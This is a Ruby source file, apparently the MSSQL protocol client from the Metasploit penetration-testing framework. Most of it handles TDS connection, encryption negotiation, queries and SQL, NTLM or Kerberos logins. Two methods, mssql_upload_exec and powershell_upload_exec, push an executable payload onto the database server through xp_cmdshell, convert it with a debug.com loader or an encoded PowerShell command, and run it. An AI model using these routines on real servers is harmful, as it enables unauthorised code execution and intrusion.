Path: blob/master/lib/rex/proto/mssql/client.rb
32908 views
require 'metasploit/framework/tcp/client'1require 'rex/proto/mssql/client_mixin'2require 'rex/text'3require 'msf/core/exploit'4require 'msf/core/exploit/remote'5require 'msf/core/exploit/remote/kerberos/clock_skew'67module Rex8module Proto9module MSSQL10class Client11include Metasploit::Framework::Tcp::Client12include Rex::Proto::MSSQL::ClientMixin13include Rex::Text14include Msf::Exploit::Remote::MSSQL_COMMANDS15include Msf::Exploit::Remote::Udp16include Msf::Exploit::Remote::NTLM::Client17include Msf::Exploit::Remote::Kerberos::Ticket::Storage18include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options1920attr_accessor :tdsencryption21attr_accessor :sock22attr_accessor :auth23attr_accessor :ssl24attr_accessor :ssl_version25attr_accessor :ssl_verify_mode26attr_accessor :ssl_cipher27# @!attribute sslkeylogfile28# @return [String] The SSL key log file path29attr_accessor :sslkeylogfile30attr_accessor :proxies31attr_accessor :connection_timeout32attr_accessor :send_lm33attr_accessor :send_ntlm34attr_accessor :send_spn35attr_accessor :use_lmkey36attr_accessor :use_ntlm2_session37attr_accessor :use_ntlmv238attr_reader :framework_module39attr_reader :framework40# @!attribute max_send_size41# @return [Integer] The max size of the data to encapsulate in a single packet42attr_accessor :max_send_size43# @!attribute send_delay44# @return [Integer] The delay between sending packets45attr_accessor :send_delay46# @!attribute initial_connection_info47# @return [Hash] Key-value pairs received from the server during the initial MSSQL connection.48# See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec49attr_accessor :initial_connection_info50# @!attribute current_database51# @return [String] The database name this client is currently connected to.52attr_accessor :current_database5354def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil, sslkeylogfile: nil)55@framework_module = framework_module56@framework = framework57@connection_timeout = framework_module.datastore['ConnectTimeout'] || 3058@max_send_size = framework_module.datastore['TCP::max_send_size'] || 059@send_delay = framework_module.datastore['TCP::send_delay'] || 06061@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO62@hostname = framework_module.datastore['Mssql::Rhostname'] || ''6364@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false65@hex2binary = framework_module.datastore['HEX2BINARY'] || ''6667@domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''68@rhost = rhost69@rport = rport70@proxies = proxies71@sslkeylogfile = sslkeylogfile72@current_database = ''73@initial_connection_info = {errors: []}74end7576def connect(global = true, opts={})77dossl = false78if(opts.has_key?('SSL'))79dossl = opts['SSL']80else81dossl = ssl82end8384@mstds_channel = Rex::Proto::MsTds::Channel.new(85'PeerHost' => opts['RHOST'] || rhost,86'PeerHostname' => opts['SSLServerNameIndication'] || opts['RHOSTNAME'],87'PeerPort' => (opts['RPORT'] || rport).to_i,88'LocalHost' => opts['CHOST'] || chost || "0.0.0.0",89'LocalPort' => (opts['CPORT'] || cport || 0).to_i,90'SSL' => dossl,91'SSLVersion' => opts['SSLVersion'] || ssl_version,92'SSLVerifyMode' => opts['SSLVerifyMode'] || ssl_verify_mode,93'SSLKeyLogFile' => opts['SSLKeyLogFile'] || sslkeylogfile,94'SSLCipher' => opts['SSLCipher'] || ssl_cipher,95'Proxies' => proxies,96'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i,97'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }98)99nsock = @mstds_channel.lsock100# enable evasions on this socket101set_tcp_evasions(nsock)102103# Set this socket to the global socket as necessary104self.sock = nsock if (global)105106return nsock107end108109# MS SQL Server only supports Windows and Linux110def map_compile_os_to_platform(server_info)111return '' if server_info.blank?112113os_data = server_info.downcase.encode(::Encoding::BINARY)114115if os_data.match?('linux')116platform = Msf::Platform::Linux.realname117elsif os_data.match?('windows')118platform = Msf::Platform::Windows.realname119elsif os_data.match?('win')120platform = Msf::Platform::Windows.realname121else122platform = os_data123end124platform125end126127# MS SQL Server currently only supports 64 bit but older installs may be x86128def map_compile_arch_to_architecture(server_info)129return '' if server_info.blank?130131arch_data = server_info.downcase.encode(::Encoding::BINARY)132133if arch_data.match?('x64')134arch = ARCH_X86_64135elsif arch_data.match?('x86')136arch = ARCH_X86137elsif arch_data.match?('64')138arch = ARCH_X86_64139elsif arch_data.match?('32-bit')140arch = ARCH_X86141else142arch = arch_data143end144arch145end146147# @return [Hash] Detect the platform and architecture of the MSSQL server:148# * :arch [String] The server architecture.149# * :platform [String] The server platform.150def detect_platform_and_arch151result = {}152153version_string = query('select @@version')[:rows][0][0]154arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string155plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string156157result[:arch] = map_compile_arch_to_architecture(arch)158result[:platform] = map_compile_os_to_platform(plat)159result160end161162#163# This method connects to the server over TCP and attempts164# to authenticate with the supplied username and password165# The global socket is used and left connected after auth166#167168def mssql_login(user='sa', pass='', db='', domain_name='')169case auth170when Msf::Exploit::Remote::AuthOption::AUTO171if domain_name.blank?172login_sql(user, pass, db, domain_name)173else174login_ntlm(user, pass, db, domain_name)175end176when Msf::Exploit::Remote::AuthOption::KERBEROS177login_kerberos(user, pass, db, domain_name)178when Msf::Exploit::Remote::AuthOption::NTLM179login_ntlm(user, pass, db, domain_name)180when Msf::Exploit::Remote::AuthOption::PLAINTEXT181login_sql(user, pass, db, domain_name)182end183end184185#186#this method send a prelogin packet and check if encryption is off187#188def mssql_prelogin(enc_error=false)189disconnect if self.sock190connect191192pkt = mssql_prelogin_packet193194resp = mssql_send_recv(pkt)195196idx = 0197data = parse_prelogin_response(resp)198199unless data[:encryption]200framework_module.print_error("Unable to parse encryption req " \201"during pre-login, this may not be a MSSQL server")202data[:encryption] = ENCRYPT_NOT_SUP203end204205##########################################################206# Our initial prelogin pkt above said we didnt support207# encryption (it's quicker and the default).208#209# Per the matrix on the following link, SQL Server will210# terminate the connection if it does require TLS,211# otherwise it will accept an unencrypted session. As212# part of this initial response packet, it also returns213# ENCRYPT_REQ.214#215# https://msdn.microsoft.com\216# /en-us/library/ee320519(v=sql.105).aspx217#218##########################################################219220if data[:encryption] == ENCRYPT_REQ221# restart prelogin process except that we tell SQL Server222# than we are now able to encrypt223disconnect if self.sock224connect225226# offset 35 is the flag - turn it on227pkt[35] = [ENCRYPT_ON].pack('C')228self.tdsencryption = true229framework_module.print_status("TLS encryption has " \230"been enabled based on server response.")231232resp = mssql_send_recv(pkt)233data = parse_prelogin_response(resp)234235unless data[:encryption]236framework_module.print_error("Unable to parse encryption req " \237"during pre-login, this may not be a MSSQL server")238data[:encryption] = ENCRYPT_NOT_SUP239end240end241data242end243244def query(sqla, doprint=false, opts={})245info = { :sql => sqla }246opts[:timeout] ||= 15247pkts = []248idx = 0249250bsize = 4096 - 8251chan = 0252253@cnt ||= 0254@cnt += 1255256sql = Rex::Text.to_unicode(sqla)257while(idx < sql.length)258buf = sql[idx, bsize]259flg = buf.length < bsize ? "\x01" : "\x00"260pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf261idx += bsize262263end264265resp = mssql_send_recv(pkts.join, opts[:timeout])266mssql_parse_reply(resp, info)267mssql_print_reply(info) if doprint268info269end270271def mssql_upload_exec(exe, debug=false)272hex = exe.unpack("H*")[0]273274var_bypass = Rex::Text.rand_text_alpha(8)275var_payload = Rex::Text.rand_text_alpha(8)276277print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")278print_status("Writing the debug.com loader to the disk...")279h2b = File.read(@hex2binary, File.size(@hex2binary))280h2b.gsub!('KemneE3N', "%TEMP%\\#{var_bypass}")281h2b.split("\n").each do |line|282mssql_xpcmdshell("#{line}", false)283end284285print_status("Converting the debug script to an executable...")286mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)287mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)288289print_status("Uploading the payload, please be patient...")290idx = 0291cnt = 500292while(idx < hex.length - 1)293mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)294idx += cnt295end296297print_status("Converting the encoded payload...")298mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)299mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)300mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)301302print_status("Executing the payload...")303mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})304end305306def powershell_upload_exec(exe, debug=false)307# hex converter308hex = exe.unpack("H*")[0]309# create random alpha 8 character names310#var_bypass = rand_text_alpha(8)311var_payload = rand_text_alpha(8)312print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")313# our payload converter, grabs a hex file and converts it to binary for us through powershell314h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"315h2b_unicode=Rex::Text.to_unicode(h2b)316# base64 encode it, this allows us to perform execution through powershell without registry changes317h2b_encoded = Rex::Text.encode_base64(h2b_unicode)318print_status("Uploading the payload #{var_payload}, please be patient...")319idx = 0320cnt = 500321while(idx < hex.length - 1)322mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)323idx += cnt324end325print_status("Converting the payload utilizing PowerShell EncodedCommand...")326mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)327mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)328print_status("Executing the payload...")329mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})330print_status("Be sure to cleanup #{var_payload}.exe...")331end332333# @param [ENVCHANGE] envchange The ENVCHANGE type to get the information for.334# @return [Hash] Returns a hash of values if the provided type exists.335# @return [Hash] Returns the whole connection info if envchange is nil.336# @return [Hash] Returns an empty hash if the provided type is not present.337def initial_info_for_envchange(envchange: nil)338return self.initial_connection_info if envchange.nil?339return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))340341self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}342end343344def peerhost345rhost346end347348def peerport349rport350end351352def peerinfo353Rex::Socket.to_authority(peerhost, peerport)354end355356protected357358def rhost359@rhost360end361362def rport363@rport364end365366def chost367return nil368end369370def cport371return nil372end373374private375376def login_kerberos(user, pass, db, domain_name)377prelogin_data = mssql_prelogin378379framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?380kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(381host: @domain_controller_rhost,382hostname: @hostname,383mssql_port: rport,384proxies: proxies,385realm: domain_name,386username: user,387password: pass,388framework: framework,389framework_module: framework_module,390ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module),391clock_skew: Msf::Exploit::Remote::Kerberos::ClockSkew.parse(framework_module.datastore['KrbClockSkew'])392)393394kerberos_result = kerberos_authenticator.authenticate395396pkt_hdr = MsTdsHeader.new(397packet_type: MsTdsType::TDS7_LOGIN,398packet_id: 1399)400401pkt_body = MsTdsLogin7.new(402option_flags_2: {403f_int_security: 1404},405server_name: rhost,406database: db407)408409pkt_body.sspi = kerberos_result[:security_blob].bytes410411pkt_hdr.packet_length += pkt_body.num_bytes412pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s413414@mstds_channel.starttls if tdsencryption == true415416resp = mssql_send_recv(pkt)417418info = {:errors => []}419info = mssql_parse_reply(resp, info)420self.initial_connection_info = info421self.initial_connection_info[:prelogin_data] = prelogin_data422423return false if not info424425info[:login_ack] ? true : false426end427428def login_ntlm(user, pass, db, domain_name)429prelogin_data = mssql_prelogin430431pkt_hdr = MsTdsHeader.new(432packet_type: MsTdsType::TDS7_LOGIN,433packet_id: 1434)435436pkt_body = MsTdsLogin7.new(437option_flags_2: {438f_int_security: 1439},440server_name: rhost,441database: db442)443444ntlm_client = ::Net::NTLM::Client.new(445user,446pass,447workstation: Rex::Text.rand_text_alpha(rand(1..8)),448domain: domain_name,449)450type1 = ntlm_client.init_context451# SQL 2012, at least, does not support KEY_EXCHANGE452type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]453454pkt_body.sspi = type1.serialize.bytes455456pkt_hdr.packet_length += pkt_body.num_bytes457pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s458459@mstds_channel.starttls if tdsencryption == true460461# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)462# has a strange behavior that differs from the specifications463# upon receiving the ntlm_negotiate request it send an ntlm_challenge but the status flag of the tds packet header464# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification465resp = mssql_send_recv(pkt, 15, false)466467# Strip the TDS header468resp = resp[3..-1]469type3 = ntlm_client.init_context([resp].pack('m'))470type3_blob = type3.serialize471472# Create an SSPIMessage473pkt_hdr = MsTdsHeader.new(474type: MsTdsType::SSPI_MESSAGE,475packet_id: 1476)477478pkt_hdr.packet_length += type3_blob.length479pkt = pkt_hdr.to_binary_s + type3_blob480481resp = mssql_send_recv(pkt)482483info = {:errors => []}484info = mssql_parse_reply(resp, info)485self.initial_connection_info = info486self.initial_connection_info[:prelogin_data] = prelogin_data487488return false if not info489info[:login_ack] ? true : false490end491492def login_sql(user, pass, db, _domain_name)493prelogin_data = mssql_prelogin494495pkt_hdr = MsTdsHeader.new(496packet_type: MsTdsType::TDS7_LOGIN,497packet_id: 1498)499500pkt_body = MsTdsLogin7.new(501server_name: rhost,502database: db,503username: user,504password: pass505)506507pkt_hdr.packet_length += pkt_body.num_bytes508pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s509510@mstds_channel.starttls if tdsencryption511512resp = mssql_send_recv(pkt)513514info = {:errors => []}515info = mssql_parse_reply(resp, info)516self.initial_connection_info = info517self.initial_connection_info[:prelogin_data] = prelogin_data518519return false if not info520info[:login_ack] ? true : false521end522end523524end525end526end527528529